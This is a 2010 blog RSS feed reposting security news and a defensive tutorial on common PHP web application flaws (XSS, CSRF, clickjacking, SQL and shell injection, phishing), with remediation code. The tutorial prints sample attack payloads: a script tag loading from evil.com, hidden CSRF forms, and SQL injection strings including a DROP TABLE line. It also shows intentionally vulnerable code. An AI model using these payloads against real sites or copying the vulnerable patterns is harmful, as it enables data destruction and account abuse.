<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>I.T News &#38; Stuff &#187; Security</title>
	<atom:link href="http://orange.id.au/wordpress/index.php/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://orange.id.au/wordpress</link>
	<description>Interesting Finds on the Internet</description>
	<lastBuildDate>Fri, 03 Dec 2010 04:50:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>Common Security Mistakes in Web Applications</title>
		<link>http://orange.id.au/wordpress/index.php/2010/12/03/common-security-mistakes-in-web-applications/</link>
		<comments>http://orange.id.au/wordpress/index.php/2010/12/03/common-security-mistakes-in-web-applications/#comments</comments>
		<pubDate>Fri, 03 Dec 2010 04:45:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[I.T News]]></category>
		<category><![CDATA[Security]]></category>
<category>attacker</category><category>denial of service</category><category>denial of service attacks</category><category>problem changes</category><category>unauthorized access</category><category>web application developers</category>
		<guid isPermaLink="false">http://orange.id.au/wordpress/?p=2042</guid>
		<description><![CDATA[Web application developers today need to be skilled in a multitude of disciplines. It’s necessary to build an application that is user friendly, highly performant, accessible and secure, all while executing partially in an untrusted environment that you, the developer, have no control over. I speak, of course, about the User Agent. Most commonly seen [...]]]></description>
			<content:encoded><![CDATA[<p>Web application developers today need to be skilled in a multitude of  disciplines.  It’s necessary to build an application that is user  friendly, highly performant, accessible and secure, all while executing  partially in an untrusted environment that you, the developer, have no  control over.  I speak, of course, about the User Agent.  Most commonly  seen in the form of a web browser, but in reality, one never really  knows what’s on the other end of the HTTP connection.</p>
<p>There are many things to worry about when it comes to <strong>security on the Web</strong>.  Is your site protected against denial of service attacks?  Is your user  data safe?  Can your users be tricked into doing things they would not  normally do?  Is it possible for an attacker to pollute your database  with fake data?  Is it possible for an attacker to gain unauthorized  access to restricted parts of your site?  Unfortunately, unless we’re  careful with the code we write, the answer to these questions can often  be one we’d rather not hear.</p>
<p>We’ll skip over denial of service  attacks in this article, but take a close look at the other issues.  To  be more conformant with standard terminology, we’ll talk about  Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Phishing,  Shell injection and SQL injection.  We’ll also assume <strong>PHP</strong> as the language of development, but the problems apply regardless of  language, and solutions will be similar in other languages.</p>
<h3>1. Cross-site scripting (XSS)</h3>
<p>Cross-site  scripting is an attack in which a user is tricked into executing code  from an attacker’s site (say evil.com) in the context of our website  (let’s call it www.mybiz.com).  This is a problem regardless of what our  website does, but the severity of the problem changes depending on what  our users can do on the site.  Let’s look at an example.</p>
<p>Let’s  say that our site allows the user to post cute little messages for the  world (or maybe only their friends) to see.  We’d have code that looks  something like this:</p>
<pre>&lt;?php
  echo "$user said $message";
?&gt;
</pre>
<p>To read the message in from the user, we’d have code like this:</p>
<pre>&lt;?php
  $user = $_COOKIE['user'];
  $message = $_REQUEST['message'];
  if($message) {
     save_message($user, $message);
  }
?&gt;
&lt;input type="text" name="message" value="&lt;?php echo $message ?&gt;"&gt;
</pre>
<p>This works only as long as the user sticks to messages in plain  text, or perhaps a few safe HTML tags like &lt;strong&gt; or  &lt;em&gt;.  We’re essentially trusting the user to only enter safe  text.  An attacker, though, may enter something like this:</p>
<pre>Hi there...&lt;script src="h++p://evil.com/bad-script.js"&gt;&lt;/script&gt;
</pre>
<p>(Note that I’ve changed http to h++p to prevent auto-linking of the URL).</p>
<p>When a user views this message on their own page, they load <code>bad-script.js</code> into their page, and that script could do anything it wanted, for example, it could steal the contents of <code>document.cookie</code>,  and then use that to impersonate the user and possibly send spam from  their account, or more subtly, change the contents of the HTML page to  do nasty things, possibly installing malware onto the reader’s computer.   Remember that <code>bad-script.js</code> now executes in the context of www.mybiz.com.</p>
<p>This  happens because we’ve trusted the user more than we should.  If,  instead, we only allow the user to enter contents that are safe to  display on the page, we prevent this form of attack.  We accomplish this  using PHP’s <a href="http://www.php.net/manual/en/intro.filter.php" target="_blank" class="liexternal">input_filter extension</a>.</p>
<p>We can change our PHP code to the following:</p>
<pre>&lt;?php
  $user = filter_input(INPUT_COOKIE, 'user',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  $message = filter_input(INPUT_POST | INPUT_GET, 'message',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  if($message) {
     save_message($user, $message);
  }
?&gt;
&lt;input type="text" name="message" value="&lt;?php echo $message ?&gt;"&gt;
</pre>
<p>Notice that we run the filter on the input and not just before  output.  We do this to protect against the situation where a new use  case may arise in the future, or a new programmer comes in to the  project, and forgets to <strong>sanitize data</strong> before printing  it out.  By filtering at the input layer, we ensure that we never store  unsafe data.  The side-effect of this is that if you have data that  needs to be displayed in a non-web context (e.g. a mobile text  message/pager message), then it may be unsuitably encoded.  You may need  further processing of the data before sending it to that context.</p>
<p>Now  chances are that almost everything you get from the user is going to be  written back to the browser at some point, so it may be best to just  set the default filter to <code>FILTER_SANITIZE_SPECIAL_CHARS</code> by changing <code>filter.default</code> in your <code>php.ini</code> file.</p>
<p>PHP  has many different input filters, and it’s important to use the one  most relevant to your data.  Very often an XSS creeps in because we use <code>FILTER_SANITIZE_SPECIAL_CHARS</code> when we should have used <code>FILTER_SANITIZE_ENCODED</code> or <code>FILTER_SANITIZE_URL</code> or vice-versa. You should also carefully review any code that uses something like <a href="http://www.php.net/html_entity_decode" target="_blank" class="liexternal"><code>html_entity_decode</code></a>, because this could potentially open your code up for attack by undoing the encoding added by the input filter.</p>
<p>If a site is open to XSS attacks, then its users’ data is not safe.</p>
<h3>2. Cross-site request forgery (CSRF)</h3>
<p>A  CSRF (sometimes abbreviated as XSRF) is an attack where a malicious  site tricks our  visitors into carrying out an action on our site.  This  can happen if a user logs in to a site that they use a lot (e.g.  e-mail, Facebook, etc.), and then visits a malicious site without first  logging out.  If the original site is susceptible to a CSRF attack, then  the malicious site can do evil things on the user’s behalf.  Let’s take  the same example as above.</p>
<p>Since our application reads in input  either from POST data or from the query string, an attacker could trick  our user into posting a message by including code like this on their  website:</p>
<pre>&lt;img src="h++p://www.mybiz.com/post_message?message=Cheap+medicine+at+h++p://evil.com/"
     style="position:absolute;left:-999em;"&gt;
</pre>
<p>Now all the attacker needs to do, is get users of mybiz.com to  visit their site.  This is fairly easily accomplished by, for example,  hosting a game, or pictures of cute baby animals.  When the user visits  the attacker’s site, their browser sends a GET request to <em>www.mybiz.com/post_message</em>.  Since the user is still logged in to www.mybiz.com, the browser sends  along the user’s cookies, thereby posting an advertisement for <em>cheap medicine</em> to all the user’s friends.</p>
<p>Simply  changing our code to only accept submissions via POST doesn’t fix the  problem.  The attacker can change the code to something like this:</p>
<pre>&lt;iframe name="pharma" style="display:none;"&gt;&lt;/iframe&gt;
&lt;form id="pform"
      action="h++p://www.mybiz.com/post_message"
      method="POST"
      target="pharma"&gt;
&lt;input type="hidden" name="message" value="Cheap medicine at ..."&gt;
&lt;/form&gt;
&lt;script&gt;document.getElementById('pform').submit();&lt;/script&gt;
</pre>
<p>Which will POST the form back to www.mybiz.com.</p>
<p>The  correct way to to protect against a CSRF is to use a single use token  tied to the user.  This token can only be issued to a signed in user,  and is based on the user’s account, a secret salt and possibly a  timestamp.  When the user submits the form, this <strong>token needs to be validated</strong>.   This ensures that the request originated from a page that we control.   This token only needs to be issued when a form submission can do  something on behalf of the user, so there’s no need to use it for  publicly accessible read-only data.  The token is sometimes referred to  as a <em>nonce</em>.</p>
<p>There are several different ways to generate a nonce.  For example, have a look at the <a href="http://core.trac.wordpress.org/browser/trunk/wp-includes/pluggable.php#L1268" target="_blank" class="liwp"><code>wp_create_nonce</code></a>, <a href="http://core.trac.wordpress.org/browser/trunk/wp-includes/pluggable.php#L1238" target="_blank" class="liwp"><code>wp_verify_nonce</code></a> and <a href="http://core.trac.wordpress.org/browser/trunk/wp-includes/pluggable.php#L1287" target="_blank" class="liwp"><code>wp_salt</code></a> functions in the <a href="http://core.trac.wordpress.org/browser/trunk/" target="_blank" class="liwp">WordPress source code</a>.  A simple nonce may be generated like this:</p>
<pre>&lt;?php
function get_nonce() {
  return md5($salt . ":"  . $user . ":"  . ceil(time()/86400));
}
?&gt;
</pre>
<p>The timestamp we use is the current time to an accuracy of 1  day (86400 seconds), so it’s valid as long as the action is executed  within a day of requesting the page.  We could reduce that value for  more sensitive actions (like password changes or account deletion).  It  doesn’t make sense to have this value larger than the session timeout  time.</p>
<p>An alternate method might be to generate the nonce without  the timestamp, but store it as a session variable or in a server side  database along with the time when the nonce was generated.  That makes  it harder for an attacker to generate the nonce by guessing the time  when it was generated.</p>
<pre>&lt;?php
function get_nonce() {
  $nonce = md5($salt . ":"  . $user);
  $_SESSION['nonce'] = $nonce;
  $_SESSION['nonce_time'] = time();
  return $nonce;
}
?&gt;
</pre>
<p>We use this nonce in the input form, and when the form is  submitted, we regenerate the nonce or read it out of the session  variable and compare it with the submitted value.  If the two match,  then we allow the action to go through.  If the nonce has timed out  since it was generated, then we reject the request.</p>
<pre>&lt;?php
  if(!verify_nonce($_POST['nonce'])) {
     header("HTTP/1.1 403 Forbidden", true, 403);
     exit();
  }
  // proceed normally
?&gt;
</pre>
<p>This protects us from the CSRF attack since the attacker’s website cannot generate our nonce.</p>
<p>If  you don’t use a nonce, your user can be tricked into doing things they  would not normally do. Note that even if you do use a nonce, you may  still be susceptible to a click-jacking attack.</p>
<h3>3. Click-jacking</h3>
<p>While not on the <a href="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" target="_blank" class="liexternal">OWASP top ten list for 2010</a>,  click-jacking has gained recent fame due to attacks against Twitter and  Facebook, both of which spread very quickly due to the social nature of  these platforms.</p>
<p>Now since we use a nonce, we’re protected  against CSRF attacks, however, if the user is tricked into clicking the  submit link themselves, then the nonce won’t protect us.  In this kind  of attack, the attacker includes our website in an iframe on their own  website.  The attacker doesn’t have control over our page, but they do  control the <code>iframe</code> element.  They use CSS to set the  iframe’s opacity to 0, and then use JavaScript to move it around such  that the submit button is always under the user’s mouse.  This was the  technique used on the <a href="http://erickerr.com/like-clickjacking" target="_blank" class="liexternal">Facebook Like button click-jack attack</a>.</p>
<p>Frame busting appears to be the most obvious way to protect against this, however it isn’t fool proof.  For example, adding the <code>security="restricted"</code> attribute to an iframe will stop any frame busting code from working in Internet Explorer, and there are <a href="http://coderrr.wordpress.com/2009/02/13/preventing-frame-busting-and-click-jacking-ui-redressing/" target="_blank" class="liexternal">ways</a> to prevent frame busting in Firefox as well.</p>
<p>A  better way might be to make your submit button disabled by default and  then use JavaScript to enable it once you’ve determined that it’s safe  to do so.  In our example above, we’d have code like this:</p>
<pre>&lt;input type="text" name="message" value="&lt;?php echo $message ?&gt;"&gt;
&lt;input id="msg_btn" type="submit" disabled="true"&gt;
&lt;script type="text/javascript"&gt;
if(top == self) {
   document.getElementById("msg_btn").disabled=false;
}
&lt;/script&gt;
</pre>
<p>This way we ensure that the submit button cannot be clicked on  unless our page runs in a top level window.  Unfortunately, this also  means that users with JavaScript disabled will also be unable to click  the submit button.</p>
<h3>4. SQL injection</h3>
<p>In this kind of an  attack, the attacker exploits insufficient input validation to gain  shell access on your database server.  XKCD has a humorous take on SQL  injection:</p>
<p><a href="http://xkcd.com/327/" target="_blank" class="liimagelink"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/sql.png" border="0" alt="Sql in Common Security Mistakes in Web Applications" width="550" height="169" /></a><br />
<em><a href="http://xkcd.com/327/" target="_blank" class="liexternal">Full image</a> (from xkcd)</em></p>
<p>Let’s go back to the example we have above.  In particular, let’s look at the <code>save_message()</code> function.</p>
<pre>&lt;?php
function save_message($user, $message)
{
  $sql = "INSERT INTO Messages (
            user, message
          ) VALUES (
            '$user', '$message'
          )";

  return mysql_query($sql);
}
?&gt;
</pre>
<p>The function is oversimplified here, but it exemplifies the problem.  The attacker could enter something like</p>
<pre>test');DROP TABLE Messages;--
</pre>
<p>When this gets passed to the database, it could end up dropping the <code>Messages</code> table, causing you and your users a lot of grief.  This kind of an  attack calls attention to the attacker, but little else.  It’s far more  likely for an attacker to use this kind of attack to insert spammy data  on behalf of other users.  Consider this message instead:</p>
<pre>test'), ('user2', 'Cheap medicine at ...'), ('user3', 'Cheap medicine at ...
</pre>
<p>Here the attacker has successfully managed to insert spammy messages into the comment streams from <code>user2</code> and <code>user3</code> without needing access to their accounts.  The attacker could also use  this to download your entire user table that possibly includes  usernames, passwords and email addresses.</p>
<p>Fortunately, we can use prepared statements to get around this problem.  In PHP, the <a href="http://www.php.net/manual/en/class.pdo.php" target="_blank" class="liexternal">PDO abstraction layer</a> makes it easy to use prepared statements even if your database itself  doesn’t support them.  We could change our code to use PDO.</p>
<pre>&lt;?php
function save_message($user, $message)
{
  // $dbh is a global database handle
  global $dbh;

  $stmt = $dbh-&gt;prepare('
                     INSERT INTO Messages (
                          user, message
                     ) VALUES (
                          ?, ?
                     )');
  return $stmt-&gt;execute(array($user, $message));
}
?&gt;
</pre>
<p>This protects us from SQL injection by correctly making sure that everything in <code>$user</code> goes into the <code>user</code> field and everything in <code>$message</code> goes into the <code>message</code> field even if it contains database meta characters.</p>
<p>There are cases where it’s hard to use prepared statements.  For example, if you have a list of values in an <code>IN</code> clause.  However, since our SQL statements are always generated by  code, it is possible to first determine how many items need to go into  the <code>IN</code> clause, and add as many <code>?</code> placeholders instead.</p>
<h3>5. Shell injection</h3>
<p>Similar  to SQL injection, the attacker tries to craft an input string to gain  shell access to your web server.  Once they have shell access, they  could potentially do a lot more.  Depending on access privileges, they  could add JavaScript to your HTML pages, or gain access to other  internal systems on your network.</p>
<p>Shell injection can take place whenever you pass untreated user input to the shell, for example by using the <a href="http://www.php.net/manual/en/function.system.php" target="_blank" class="liexternal"><code>system()</code></a>, <a href="http://www.php.net/manual/en/function.exec.php" target="_blank" class="liexternal"><code>exec()</code></a> or <a href="http://www.php.net/manual/en/language.operators.execution.php" target="_blank" class="liexternal"><code>``</code></a> commands.  There may be more functions depending on the language you use when building your web app.</p>
<p>The  solution is the same for XSS attacks.  You need to validate and  sanitize all user inputs appropriately for where it will be used.  For  data that gets written back into an HTML page, we use PHP’s <code>input_filter()</code> function with the FILTER_SANITIZE_SPECIAL_CHARS flag.  For data that gets passed to the shell, we use the <a href="http://www.php.net/manual/en/function.escapeshellcmd.php" target="_blank" class="liexternal"><code>escapeshellcmd()</code></a> and <a href="http://www.php.net/manual/en/function.escapeshellarg.php" target="_blank" class="liexternal"><code>escapeshellarg()</code></a> functions.  It’s also a good idea to <strong>validate the input</strong> to make sure it only contains a whitelist of characters.  Always use a  whitelist instead of a blacklist.  Attackers find inventive ways of  getting around a blacklist.</p>
<p>If an attacker can gain shell access  to your box, all bets are off.  You may need to wipe everything off that  box and reimage it.  If any passwords or secret keys were stored on  that box (in configuration files or source code), they will need to be  changed at all locations where they are used.  This could prove quite  costly for your organization.</p>
<h3>6. Phishing</h3>
<p>Phishing is the  process where an attacker tricks your users into handing over their  login credentials.  The attacker may create a page that looks exactly  like your login page, and ask the user to log in there by sending them a  link via e-mail, IM, Facebook, or something similar.  Since the  attacker’s page looks identical to yours, the user may enter their login  credentials without realizing that they’re on a malicious site.  The  primary method to protect your users from phishing is user training, and  there are a few things that you could do for this to be effective.</p>
<ol>
<li>Always <strong>serve your login page over SSL</strong>.   This requires more server resources, but it ensures that the user’s  browser verifies that the page isn’t being redirected to a malicious  site.</li>
<li>Use one and only one URL for user log in, and make it short and easy to recognize.  For our example website, we could use <code>https://login.mybiz.com</code> as our login URL.  It’s important that when the user sees a login form  for our website, they also see this URL in the URL bar.  That trains  users to be suspicious of login forms on other URLs</li>
<li>Do not allow  partners to ask your users for their credentials on your site.   Instead, if partners need to pull user data from your site, provide them  with an OAuth based API.  This is also known as <a href="http://www.designingsocialinterfaces.com/patterns.wiki/index.php?title=The_Password_Anti-Pattern" target="_blank" class="liexternal">the Password Anti-Pattern</a>.</li>
<li>Alternatively,  you could use something like a sign-in image that some websites are  starting to use (e.g. Bank of America, Yahoo!).  This is an image that  the user selects on your website, that only the user and your website  know about.  When the user sees this image on the login page, they know  that this is the right page.  Note that if you use a sign-in seal, you  should also use frame busting to make sure an attacker cannot embed your  sign-in image page in their phishing page using an iframe.</li>
</ol>
<p>If a user is trained to hand over their password to anyone who asks for it, then their data isn’t safe.</p>
<h3>Summary</h3>
<p>While  we’ve covered a lot in this article, it still only skims the surface of  web application security.  Any developer interested in building truly  secure applications has to be on top of their game at all times.  Stay  up to date with various security related mailing lists, and make sure  all developers on your team are clued in.  Sometimes it may be necessary  to sacrifice features for security, but the alternative is far scarier.</p>
<p>Finally, I’d like to thank the Yahoo! Paranoids for all their help in writing this article.</p>
<h3>Further reading</h3>
<ol>
<li><a href="http://www.owasp.org/index.php/Top_10_2010-Main" target="_blank" class="liexternal">OWASP Top 10 security risks</a></li>
<li><a href="http://en.wikipedia.org/wiki/Cross-site_scripting" target="_blank" rel="nofollow" class="liwikipedia">XSS</a></li>
<li><a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery" target="_blank" rel="nofollow" class="liwikipedia">CSRF</a></li>
<li><a href="http://en.wikipedia.org/wiki/Phishing" target="_blank" rel="nofollow" class="liwikipedia">Phishing</a></li>
<li><a href="http://en.wikipedia.org/wiki/Code_injection" target="_blank" rel="nofollow" class="liwikipedia">Code injection</a></li>
<li><a href="http://php.net/manual/en/book.filter.php" target="_blank" class="liexternal">PHP’s input filters</a></li>
<li><a href="http://www.designingsocialinterfaces.com/patterns.wiki/index.php?title=The_Password_Anti-Pattern" target="_blank" class="liexternal">Password anti-pattern</a></li>
<li><a href="http://oauth.net/" target="_blank" class="liexternal">OAuth</a></li>
<li><a href="http://mashable.com/2010/05/31/facebook-like-worm-clickjack/" target="_blank" class="liexternal">Facebook Like button click-jacking</a></li>
<li><a href="http://coderrr.wordpress.com/2009/06/18/anti-anti-frame-busting/" target="_blank" class="liexternal">Anti-anti frame-busting</a></li>
<li>The <a href="http://security.yahoo.com/" target="_blank" class="liexternal">Yahoo! Security Center</a> also has articles on how users can protect themselves online.</li>
</ol>
<p><a href="http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/" target="_blank" class="liexternal">Link</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orange.id.au/wordpress/index.php/2010/12/03/common-security-mistakes-in-web-applications/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WPA2 vulnerability found</title>
		<link>http://orange.id.au/wordpress/index.php/2010/12/03/wpa2-vulnerability-found/</link>
		<comments>http://orange.id.au/wordpress/index.php/2010/12/03/wpa2-vulnerability-found/#comments</comments>
		<pubDate>Fri, 03 Dec 2010 04:36:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>
<category>security protocol</category><category>wpa2</category>
		<guid isPermaLink="false">http://orange.id.au/wordpress/?p=2027</guid>
		<description><![CDATA[Perhaps it was only a matter of time. But wireless security researchers say they have uncovered a vulnerability in the WPA2 security protocol, which is the strongest form of Wi-Fi encryption and authentication currently standardized and available. Malicious insiders can exploit the vulnerability, named &#8220;Hole 196&#8243; by the researcher who discovered it at wireless security [...]]]></description>
			<content:encoded><![CDATA[<p>Perhaps it was only a matter of time. But wireless security researchers say they have uncovered a vulnerability in the WPA2    security protocol, which is the strongest form of Wi-Fi encryption and authentication currently standardized and available.</p>
<p>Malicious insiders can exploit the vulnerability, named &#8220;Hole 196&#8243; by  the researcher who discovered it at wireless security    company AirTight Networks. The moniker refers to the page of the IEEE  802.11 Standard (Revision, 2007) on which the vulnerability    is buried.</p>
<p>Hole 196 lends itself to man-in-the-middle-style exploits, whereby an internal, authorized Wi-Fi user can decrypt, over the    air, the private data of others, inject malicious traffic into the network and compromise other authorized devices using open    source software, according to AirTight.</p>
<p>The researcher who discovered Hole 196, Md Sohail Ahmad, AirTight  technology manager, intends to demonstrate it at two conferences    taking place in Las Vegas next week: Black Hat Arsenal and DEF CON  18.</p>
<p>The Advanced Encryption Standard (AES) derivative on which WPA2 is based has not been cracked and no brute force is required    to exploit the vulnerability, Ahmad says. Rather, a stipulation in the standard that allows all clients to receive broadcast    traffic from an access point (AP) using a common shared key creates the vulnerability when an authorized user uses the common    key in reverse and sends spoofed packets encrypted using the shared group key.</p>
<p>Ahmad explains it this way:</p>
<p>WPA2 uses two types of keys: 1) Pairwise Transient Key (PTK), which  is unique to each client, for protecting unicast traffic;    and 2) Group Temporal Key (GTK) to protect broadcast data sent to  multiple clients in a network. PTKs can detect address spoofing    and data forgery. &#8220;GTKs do not have this property,&#8221; according to page  196 of the IEEE 802.11 standard.</p>
<p>These six words comprise the loophole, Ahmad says.</p>
<p>Because a client has the GTK protocol for receiving broadcast  traffic, the user of that client device could exploit GTK to    create its own broadcast packet. From there, clients will respond to  the sending MAC address with their own private key information.</p>
<p>Ahmad says it took about 10 lines of code in open source MadWiFi  driver software, freely available on the Internet, and an    off-the-shelf client card for him to spoof the MAC address of the AP,  pretending to be the gateway for sending out traffic.    Clients who receive the message see the client as the gateway and  &#8220;respond with PTKs&#8221;, which are private and which the insider    can decrypt, Ahmad explains.</p>
<p>From there, &#8220;the malicious insider could drop traffic, drop a [denial-of-service] attack, or snoop,&#8221; Ahmad says.</p>
<p>The ability to exploit the vulnerability is limited to authorized  users, AirTight says. Still, year-after-year security studies    show that insider security breaches continue to be the biggest source  of loss to businesses, whether from disgruntled employees    or spies who steal and sell confidential data.</p>
<p>What can we do about Hole 196?</p>
<p>&#8220;There&#8217;s nothing in the standard to upgrade to in order to patch or fix the hole,&#8221; says Kaustubh Phanse, AirTight&#8217;s wireless    architect who describes Hole 196 as a &#8220;zero-day vulnerability that creates a window of opportunity&#8221; for exploitation.</p>
<p><a href="http://www.networkworld.com/newsletters/wireless/2010/072610wireless1.html?page=2" target="_blank" class="liexternal">Link</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orange.id.au/wordpress/index.php/2010/12/03/wpa2-vulnerability-found/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Employees Challenged To Crack Facebook Security, Succeed</title>
		<link>http://orange.id.au/wordpress/index.php/2010/12/03/employees-challenged-to-crack-facebook-security-succeed/</link>
		<comments>http://orange.id.au/wordpress/index.php/2010/12/03/employees-challenged-to-crack-facebook-security-succeed/#comments</comments>
		<pubDate>Fri, 03 Dec 2010 04:32:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[I.T News]]></category>
		<category><![CDATA[Security]]></category>
<category>administrative system</category><category>facebook</category><category>hack</category><category>mark zuckerberg</category><category>security engineer</category>
		<guid isPermaLink="false">http://orange.id.au/wordpress/?p=2023</guid>
		<description><![CDATA[Apparently Facebook noticed the slap down that the FTC gave Twitter in June because it “failed to prevent unauthorized administrative control of its system.” Shortly afterwards one of the senior engineers at Facebook responsible for SRE (site reliability engineering) challenged Facebook employees to try to compromise him and gain access to Facebook’s administrative system via [...]]]></description>
			<content:encoded><![CDATA[<p>Apparently Facebook noticed the slap down that the <a href="http://techcrunch.com/2010/06/24/ftc-twitter-privacy-settlement/" target="_blank" class="liexternal">FTC gave Twitter</a> in June because it <em>“failed to prevent unauthorized administrative control of its system.”</em> Shortly afterwards one of the senior engineers at Facebook responsible  for SRE (site reliability engineering) challenged Facebook employees to  try to compromise him and gain access to Facebook’s administrative  system via information obtained from him.</p>
<p>They succeeded.</p>
<p>It took a couple of weeks though. Employees supposedly got in via his  home WiFi network, says our source. The details aren’t entirely clear,  and Facebook isn’t talking. What I’ve heard is that they were able to  intercept data from his home network after capturing his WPA password by  luring him into logging into a rogue WiFi SSID that appeared to be his  own router. <a href="http://webcache.googleusercontent.com/search?q=cache:VArK7JzNMyUJ:www.hackforums.net/archive/index.php/thread-321253.html+hack+wpa+via+fake+ssid&amp;cd=2&amp;hl=en&amp;ct=clnk&amp;gl=us&amp;client=safari" target="_blank" class="liexternal">See here</a> for some details on how easy this is to do.</p>
<p>Once his home network fell, the Facebook employees were able to  monitor all his Internet activity and obtain clear text passwords, etc.</p>
<p>The <a href="http://techcrunch.com/2009/07/16/twitters-internal-strategy-laid-bare-to-be-the-pulse-of-the-planet/" target="_blank" class="liexternal">Twitter hack</a>s last year <a href="http://techcrunch.com/2009/07/19/the-anatomy-of-the-twitter-attack/" target="_blank" class="liexternal">began with</a> compromised personal email accounts and unfolded from there.</p>
<p>It’s absolutely a smart thing for Facebook to do this, and other  companies should too. But if a security engineer at Facebook was  compromised, even though he knew it was coming, imagine how trivial it  would be for other people to get hit, too.</p>
<p>Now excuse me while I go camp out in Mark Zuckerberg’s back yard for a  week or two and try to set up a rogue WiFi SSID. Wish me luck.</p>
<p><strong>Update</strong>: Facebook engineer Pedram Keyani, who was behind the challenge, has <a href="http://techcrunch.com/2010/07/05/employees-challenged-to-crack-facebook-security-succeed/#IDComment85143159" target="_blank" class="liexternal">responded</a> in the comments. He says that the challenge actually demonstrates how  secure Facebook is — while the team could access his account, they were  unable to compromise Facebook’s administrative/corporate systems.</p>
<blockquote><p>I’m the engineer who made the challenge and I want to clear up some<br />
misunderstandings. First, we perform tests on the integrity and security of<br />
our site all the time. Second, in this particular case, the challenge<br />
demonstrated the effectiveness of Facebook’s security systems, not the<br />
opposite, Despite months of work and hundreds of hours of effort by a team<br />
of specialized security engineers, the team was NOT able to access<br />
Facebook’s administrative or corporate systems. While they were able to<br />
access my personal Facebook account, they were not able to use this<br />
information to access any other account on Facebook. Finally, challenges<br />
like this are a great way for us to apply our best thinking and skills to<br />
identify risks to our systems. We think our efforts should give users<br />
greater confidence in Facebook and its administrative systems, not less.</p>
<p><a href="http://techcrunch.com/2010/07/05/employees-challenged-to-crack-facebook-security-succeed/" target="_blank" class="liexternal">Link</a></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://orange.id.au/wordpress/index.php/2010/12/03/employees-challenged-to-crack-facebook-security-succeed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox add-on encrypts Facebook and Twitter</title>
		<link>http://orange.id.au/wordpress/index.php/2010/12/03/firefox-add-on-encrypts-facebook-and-twitter/</link>
		<comments>http://orange.id.au/wordpress/index.php/2010/12/03/firefox-add-on-encrypts-facebook-and-twitter/#comments</comments>
		<pubDate>Fri, 03 Dec 2010 04:30:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[I.T News]]></category>
		<category><![CDATA[Security]]></category>
<category>electronic frontier foundation</category><category>facebook</category><category>transport security</category><category>twitter</category>
		<guid isPermaLink="false">http://orange.id.au/wordpress/?p=2021</guid>
		<description><![CDATA[Firefox users worried about Internet eavesdropping are being offered a new way to encrypt their interaction with a range of popular websites, including Facebook and Twitter. Called HTTPS Everywhere, the free add-on is the result of a collaboration between the Electronic Frontier Foundation (EFF) and the Tor Project. Sites with which the software works include [...]]]></description>
			<content:encoded><![CDATA[<div id="article_body">
<p>Firefox users worried about Internet eavesdropping  are being offered a new way to encrypt their interaction with a range  of popular websites, including Facebook and Twitter.</p>
<p>Called <a href="http://www.eff.org/" target="_blank" class="liexternal">HTTPS Everywhere</a>, the free add-on is the result of a collaboration between the Electronic Frontier Foundation (EFF) and the Tor Project.</p>
<p>Sites  with which the software works include Google, Wikipedia, Twitter,  Facebook, Paypal, as well as content sites such as The new York Times,  The Washington Post, and the EFF and Tor.</p>
<p>Based  on the Strict Transport Security (STS) evangelised by the team behind  the popular security add-on Noscript, the HTTPS mode is identified with a  padlock icon.  It is also possible to <a href="https://www.eff.org/https-everywhere/rulesets" target="_blank" class="liexternal">write custom rulesets for others sites</a>, say the creators.</p>
<p>In May, Google itself <a href="http://news.techworld.com/security/3224518/google-offers-ssl-searching-to-boost-privacy/" target="_blank" class="liexternal">started offering https search</a> through the https:www.google.com link, which uses a similar concept,  but only works for searches through that domain. The latest development,  which builds on the fact that many sites offer some SSL connectivity  but don&#8217;t default to it, appears to have been inspired by Google&#8217;s  initiative.</p>
<p>The security does have some limitations.</p>
<p>&#8220;As  always, even if you&#8217;re at an https page, remember that unless Firefox  displays a colored address bar and an unbroken lock icon in the  bottom-right corner, the page is not completely encrypted and you may  still be vulnerable to various forms of eavesdropping or hacking,&#8221; warns  the EFF.</p>
<p><a href="http://www.pcworld.idg.com.au/article/350536/firefox_add-on_encrypts_facebook_twitter/?fp=4&amp;fpid=762453&amp;eid=110" target="_blank" class="liexternal">Link</a></p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://orange.id.au/wordpress/index.php/2010/12/03/firefox-add-on-encrypts-facebook-and-twitter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iPhone vulnerability leaves your data wide open, even when using a PIN</title>
		<link>http://orange.id.au/wordpress/index.php/2010/05/31/iphone-vulnerability-leaves-your-data-wide-open-even-when-using-a-pin/</link>
		<comments>http://orange.id.au/wordpress/index.php/2010/05/31/iphone-vulnerability-leaves-your-data-wide-open-even-when-using-a-pin/#comments</comments>
		<pubDate>Mon, 31 May 2010 00:24:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[I.T News]]></category>
		<category><![CDATA[Security]]></category>
<category>iphone</category><category>lynx</category><category>vulnerability</category>
